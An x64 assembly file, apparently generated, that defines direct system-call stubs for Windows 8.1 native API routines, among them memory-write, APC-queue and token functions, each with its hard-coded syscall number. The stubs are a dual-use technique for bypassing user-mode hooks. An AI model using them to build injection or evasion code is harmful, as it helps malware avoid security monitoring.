; ULONG64 __stdcall NtReadFileScatter( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_6_3_9600_sp0_windows_8_1_NtReadFileScatter PROC STDCALL
mov r10 , rcx
mov eax , 45
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReadFileScatter ENDP
; ULONG64 __stdcall NtOpenThreadTokenEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtOpenThreadTokenEx PROC STDCALL
mov r10 , rcx
mov eax , 46
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenThreadTokenEx ENDP
; ULONG64 __stdcall NtOpenProcessTokenEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtOpenProcessTokenEx PROC STDCALL
mov r10 , rcx
mov eax , 47
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenProcessTokenEx ENDP
; ULONG64 __stdcall NtQueryPerformanceCounter( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtQueryPerformanceCounter PROC STDCALL
mov r10 , rcx
mov eax , 48
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryPerformanceCounter ENDP
; ULONG64 __stdcall NtEnumerateKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtEnumerateKey PROC STDCALL
mov r10 , rcx
mov eax , 49
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtEnumerateKey ENDP
; ULONG64 __stdcall NtOpenFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtOpenFile PROC STDCALL
mov r10 , rcx
mov eax , 50
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenFile ENDP
; ULONG64 __stdcall NtDelayExecution( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtDelayExecution PROC STDCALL
mov r10 , rcx
mov eax , 51
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDelayExecution ENDP
; ULONG64 __stdcall NtQueryDirectoryFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 );
_6_3_9600_sp0_windows_8_1_NtQueryDirectoryFile PROC STDCALL
mov r10 , rcx
mov eax , 52
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryDirectoryFile ENDP
; ULONG64 __stdcall NtQuerySystemInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtQuerySystemInformation PROC STDCALL
mov r10 , rcx
mov eax , 53
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQuerySystemInformation ENDP
; ULONG64 __stdcall NtOpenSection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtOpenSection PROC STDCALL
mov r10 , rcx
mov eax , 54
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenSection ENDP
; ULONG64 __stdcall NtQueryTimer( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryTimer PROC STDCALL
mov r10 , rcx
mov eax , 55
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryTimer ENDP
; ULONG64 __stdcall NtFsControlFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 );
_6_3_9600_sp0_windows_8_1_NtFsControlFile PROC STDCALL
mov r10 , rcx
mov eax , 56
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFsControlFile ENDP
; ULONG64 __stdcall NtWriteVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtWriteVirtualMemory PROC STDCALL
mov r10 , rcx
mov eax , 57
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtWriteVirtualMemory ENDP
; ULONG64 __stdcall NtCloseObjectAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtCloseObjectAuditAlarm PROC STDCALL
mov r10 , rcx
mov eax , 58
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCloseObjectAuditAlarm ENDP
; ULONG64 __stdcall NtDuplicateObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_6_3_9600_sp0_windows_8_1_NtDuplicateObject PROC STDCALL
mov r10 , rcx
mov eax , 59
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDuplicateObject ENDP
; ULONG64 __stdcall NtQueryAttributesFile( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtQueryAttributesFile PROC STDCALL
mov r10 , rcx
mov eax , 60
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryAttributesFile ENDP
; ULONG64 __stdcall NtClearEvent( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtClearEvent PROC STDCALL
mov r10 , rcx
mov eax , 61
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtClearEvent ENDP
; ULONG64 __stdcall NtReadVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtReadVirtualMemory PROC STDCALL
mov r10 , rcx
mov eax , 62
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReadVirtualMemory ENDP
; ULONG64 __stdcall NtOpenEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtOpenEvent PROC STDCALL
mov r10 , rcx
mov eax , 63
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenEvent ENDP
; ULONG64 __stdcall NtAdjustPrivilegesToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtAdjustPrivilegesToken PROC STDCALL
mov r10 , rcx
mov eax , 64
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAdjustPrivilegesToken ENDP
; ULONG64 __stdcall NtDuplicateToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtDuplicateToken PROC STDCALL
mov r10 , rcx
mov eax , 65
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDuplicateToken ENDP
; ULONG64 __stdcall NtContinue( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtContinue PROC STDCALL
mov r10 , rcx
mov eax , 66
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtContinue ENDP
; ULONG64 __stdcall NtQueryDefaultUILanguage( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtQueryDefaultUILanguage PROC STDCALL
mov r10 , rcx
mov eax , 67
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryDefaultUILanguage ENDP
; ULONG64 __stdcall NtQueueApcThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueueApcThread PROC STDCALL
mov r10 , rcx
mov eax , 68
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueueApcThread ENDP
; ULONG64 __stdcall NtYieldExecution( );
_6_3_9600_sp0_windows_8_1_NtYieldExecution PROC STDCALL
mov r10 , rcx
mov eax , 69
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtYieldExecution ENDP
; ULONG64 __stdcall NtAddAtom( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtAddAtom PROC STDCALL
mov r10 , rcx
mov eax , 70
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAddAtom ENDP
; ULONG64 __stdcall NtCreateEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtCreateEvent PROC STDCALL
mov r10 , rcx
mov eax , 71
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateEvent ENDP
; ULONG64 __stdcall NtQueryVolumeInformationFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryVolumeInformationFile PROC STDCALL
mov r10 , rcx
mov eax , 72
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryVolumeInformationFile ENDP
; ULONG64 __stdcall NtCreateSection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_6_3_9600_sp0_windows_8_1_NtCreateSection PROC STDCALL
mov r10 , rcx
mov eax , 73
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateSection ENDP
; ULONG64 __stdcall NtFlushBuffersFile( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtFlushBuffersFile PROC STDCALL
mov r10 , rcx
mov eax , 74
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFlushBuffersFile ENDP
; ULONG64 __stdcall NtApphelpCacheControl( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtApphelpCacheControl PROC STDCALL
mov r10 , rcx
mov eax , 75
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtApphelpCacheControl ENDP
; ULONG64 __stdcall NtCreateProcessEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_6_3_9600_sp0_windows_8_1_NtCreateProcessEx PROC STDCALL
mov r10 , rcx
mov eax , 76
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateProcessEx ENDP
; ULONG64 __stdcall NtCreateThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_6_3_9600_sp0_windows_8_1_NtCreateThread PROC STDCALL
mov r10 , rcx
mov eax , 77
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateThread ENDP
; ULONG64 __stdcall NtIsProcessInJob( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtIsProcessInJob PROC STDCALL
mov r10 , rcx
mov eax , 78
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtIsProcessInJob ENDP
; ULONG64 __stdcall NtProtectVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtProtectVirtualMemory PROC STDCALL
mov r10 , rcx
mov eax , 79
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtProtectVirtualMemory ENDP
; ULONG64 __stdcall NtQuerySection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQuerySection PROC STDCALL
mov r10 , rcx
mov eax , 80
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQuerySection ENDP
; ULONG64 __stdcall NtResumeThread( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtResumeThread PROC STDCALL
mov r10 , rcx
mov eax , 81
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtResumeThread ENDP
; ULONG64 __stdcall NtTerminateThread( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtTerminateThread PROC STDCALL
mov r10 , rcx
mov eax , 82
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtTerminateThread ENDP
; ULONG64 __stdcall NtReadRequestData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtReadRequestData PROC STDCALL
mov r10 , rcx
mov eax , 83
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReadRequestData ENDP
; ULONG64 __stdcall NtCreateFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 );
_6_3_9600_sp0_windows_8_1_NtCreateFile PROC STDCALL
mov r10 , rcx
mov eax , 84
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateFile ENDP
; ULONG64 __stdcall NtQueryEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryEvent PROC STDCALL
mov r10 , rcx
mov eax , 85
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryEvent ENDP
; ULONG64 __stdcall NtWriteRequestData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtWriteRequestData PROC STDCALL
mov r10 , rcx
mov eax , 86
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtWriteRequestData ENDP
; ULONG64 __stdcall NtOpenDirectoryObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtOpenDirectoryObject PROC STDCALL
mov r10 , rcx
mov eax , 87
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenDirectoryObject ENDP
; ULONG64 __stdcall NtAccessCheckByTypeAndAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 , ULONG64 arg_15 , ULONG64 arg_16 );
_6_3_9600_sp0_windows_8_1_NtAccessCheckByTypeAndAuditAlarm PROC STDCALL
mov r10 , rcx
mov eax , 88
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAccessCheckByTypeAndAuditAlarm ENDP
; ULONG64 __stdcall NtQuerySystemTime( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtQuerySystemTime PROC STDCALL
mov r10 , rcx
mov eax , 89
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQuerySystemTime ENDP
; ULONG64 __stdcall NtWaitForMultipleObjects( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtWaitForMultipleObjects PROC STDCALL
mov r10 , rcx
mov eax , 90
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtWaitForMultipleObjects ENDP
; ULONG64 __stdcall NtSetInformationObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetInformationObject PROC STDCALL
mov r10 , rcx
mov eax , 91
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetInformationObject ENDP
; ULONG64 __stdcall NtCancelIoFile( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtCancelIoFile PROC STDCALL
mov r10 , rcx
mov eax , 92
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCancelIoFile ENDP
; ULONG64 __stdcall NtTraceEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtTraceEvent PROC STDCALL
mov r10 , rcx
mov eax , 93
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtTraceEvent ENDP
; ULONG64 __stdcall NtPowerInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtPowerInformation PROC STDCALL
mov r10 , rcx
mov eax , 94
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtPowerInformation ENDP
; ULONG64 __stdcall NtSetValueKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtSetValueKey PROC STDCALL
mov r10 , rcx
mov eax , 95
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetValueKey ENDP
; ULONG64 __stdcall NtCancelTimer( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtCancelTimer PROC STDCALL
mov r10 , rcx
mov eax , 96
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCancelTimer ENDP
; ULONG64 __stdcall NtSetTimer( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_6_3_9600_sp0_windows_8_1_NtSetTimer PROC STDCALL
mov r10 , rcx
mov eax , 97
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetTimer ENDP
; ULONG64 __stdcall NtAccessCheck( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_6_3_9600_sp0_windows_8_1_NtAccessCheck PROC STDCALL
mov r10 , rcx
mov eax , 98
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAccessCheck ENDP
; ULONG64 __stdcall NtAccessCheckByType( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 );
_6_3_9600_sp0_windows_8_1_NtAccessCheckByType PROC STDCALL
mov r10 , rcx
mov eax , 99
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAccessCheckByType ENDP
; ULONG64 __stdcall NtAccessCheckByTypeResultList( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 );
_6_3_9600_sp0_windows_8_1_NtAccessCheckByTypeResultList PROC STDCALL
mov r10 , rcx
mov eax , 100
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAccessCheckByTypeResultList ENDP
; ULONG64 __stdcall NtAccessCheckByTypeResultListAndAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 , ULONG64 arg_15 , ULONG64 arg_16 );
_6_3_9600_sp0_windows_8_1_NtAccessCheckByTypeResultListAndAuditAlarm PROC STDCALL
mov r10 , rcx
mov eax , 101
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAccessCheckByTypeResultListAndAuditAlarm ENDP
; ULONG64 __stdcall NtAccessCheckByTypeResultListAndAuditAlarmByHandle( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 , ULONG64 arg_15 , ULONG64 arg_16 , ULONG64 arg_17 );
_6_3_9600_sp0_windows_8_1_NtAccessCheckByTypeResultListAndAuditAlarmByHandle PROC STDCALL
mov r10 , rcx
mov eax , 102
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAccessCheckByTypeResultListAndAuditAlarmByHandle ENDP
; ULONG64 __stdcall NtAddAtomEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtAddAtomEx PROC STDCALL
mov r10 , rcx
mov eax , 103
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAddAtomEx ENDP
; ULONG64 __stdcall NtAddBootEntry( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtAddBootEntry PROC STDCALL
mov r10 , rcx
mov eax , 104
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAddBootEntry ENDP
; ULONG64 __stdcall NtAddDriverEntry( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtAddDriverEntry PROC STDCALL
mov r10 , rcx
mov eax , 105
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAddDriverEntry ENDP
; ULONG64 __stdcall NtAdjustGroupsToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtAdjustGroupsToken PROC STDCALL
mov r10 , rcx
mov eax , 106
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAdjustGroupsToken ENDP
; ULONG64 __stdcall NtAdjustTokenClaimsAndDeviceGroups( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 , ULONG64 arg_15 , ULONG64 arg_16 );
_6_3_9600_sp0_windows_8_1_NtAdjustTokenClaimsAndDeviceGroups PROC STDCALL
mov r10 , rcx
mov eax , 107
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAdjustTokenClaimsAndDeviceGroups ENDP
; ULONG64 __stdcall NtAlertResumeThread( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtAlertResumeThread PROC STDCALL
mov r10 , rcx
mov eax , 108
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlertResumeThread ENDP
; ULONG64 __stdcall NtAlertThread( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtAlertThread PROC STDCALL
mov r10 , rcx
mov eax , 109
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlertThread ENDP
; ULONG64 __stdcall NtAlertThreadByThreadId( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtAlertThreadByThreadId PROC STDCALL
mov r10 , rcx
mov eax , 110
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlertThreadByThreadId ENDP
; ULONG64 __stdcall NtAllocateLocallyUniqueId( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtAllocateLocallyUniqueId PROC STDCALL
mov r10 , rcx
mov eax , 111
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAllocateLocallyUniqueId ENDP
; ULONG64 __stdcall NtAllocateReserveObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtAllocateReserveObject PROC STDCALL
mov r10 , rcx
mov eax , 112
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAllocateReserveObject ENDP
; ULONG64 __stdcall NtAllocateUserPhysicalPages( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtAllocateUserPhysicalPages PROC STDCALL
mov r10 , rcx
mov eax , 113
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAllocateUserPhysicalPages ENDP
; ULONG64 __stdcall NtAllocateUuids( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtAllocateUuids PROC STDCALL
mov r10 , rcx
mov eax , 114
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAllocateUuids ENDP
; ULONG64 __stdcall NtAlpcAcceptConnectPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_6_3_9600_sp0_windows_8_1_NtAlpcAcceptConnectPort PROC STDCALL
mov r10 , rcx
mov eax , 115
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcAcceptConnectPort ENDP
; ULONG64 __stdcall NtAlpcCancelMessage( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtAlpcCancelMessage PROC STDCALL
mov r10 , rcx
mov eax , 116
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcCancelMessage ENDP
; ULONG64 __stdcall NtAlpcConnectPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 );
_6_3_9600_sp0_windows_8_1_NtAlpcConnectPort PROC STDCALL
mov r10 , rcx
mov eax , 117
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcConnectPort ENDP
; ULONG64 __stdcall NtAlpcConnectPortEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 );
_6_3_9600_sp0_windows_8_1_NtAlpcConnectPortEx PROC STDCALL
mov r10 , rcx
mov eax , 118
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcConnectPortEx ENDP
; ULONG64 __stdcall NtAlpcCreatePort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtAlpcCreatePort PROC STDCALL
mov r10 , rcx
mov eax , 119
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcCreatePort ENDP
